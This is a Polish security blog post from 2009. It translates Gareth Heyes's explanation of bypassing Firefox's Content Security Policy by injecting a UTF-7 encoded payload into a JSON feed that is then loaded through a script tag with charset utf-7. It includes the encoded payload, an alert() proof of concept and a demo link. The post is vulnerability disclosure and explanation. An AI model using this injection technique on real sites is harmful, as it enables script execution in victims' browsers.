6:12
24/11/2009

Michał Wiczyński podesłał nam tłumaczenie tekstu Garetha Heyesa, w którym zobrazowano sposób na ominięcie zabezpieczeń CSP w przeglądarce Firefox.

Na czym polega błąd?

Każda strona z feedem JSON-a nad którym może mieć kontrolę atakujący jest podatna na atak. Do feeda można wstrzyknąć kod, dzięki któremu atakujący jest w stanie kontrolować pozostałe elementy feeda. Wyjaśnijmy to na przykładzie:

W UTF-7 ciąg “ABC” jest reprezentowany jako:

+ACcAQQBCAEMAJw-

Jeżeli przykładowa odpowiedź w JSON wygląda tak:

[{'friend':'something',email:'something'} ]

to mając kontrolę nad wartością something, możemy umieścić własny kod:

+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlAC
AAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAb
wBuAGU-

w UTF-8:

'}];alert('May the force be with you');[{'job':'done

Umieszczając w/w kod, powstaje nam:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJw
BNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdw
BpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAb
wBiACcAOgAnAGQAbwBuAGU-'}]

czyli:

[{'friend':'luke','email':''}];alert(’May the force be with you’);[{'job':'done'}]

Wstrzykując takie dane, poprzez odwołanie się do skryptu (ustawiając kodowanie na UTF-7):

"><script src="http://some.website/test.json" charset="utf-7"></script>

uruchamiamy kod, omijając CSP. Działający przykład: http://www.businessinfo.co.uk/labs/cspluke/test.html

Więcej informacji na temat CSP znajdziesz na blogu Mozilli. Aby przetestować swoją przeglądarkę pod kątem CSP, odwiedź tę stronę.

Przeczytaj także:

 

1 komentarz

Dodaj komentarz
  1. Wyniki testu pod kątem CSP nie napawają w moim przypadku optymistycznie…
    Firefox(3.6.12) -> oblał wszystko
    Chrome(7.0.517.44) -> 2/20 pass

Twój komentarz

Zamieszczając komentarz akceptujesz regulamin dodawania komentarzy. Przez moderację nie przejdą: wycieczki osobiste, komentarze nie na temat, wulgaryzmy.

RSS dla komentarzy: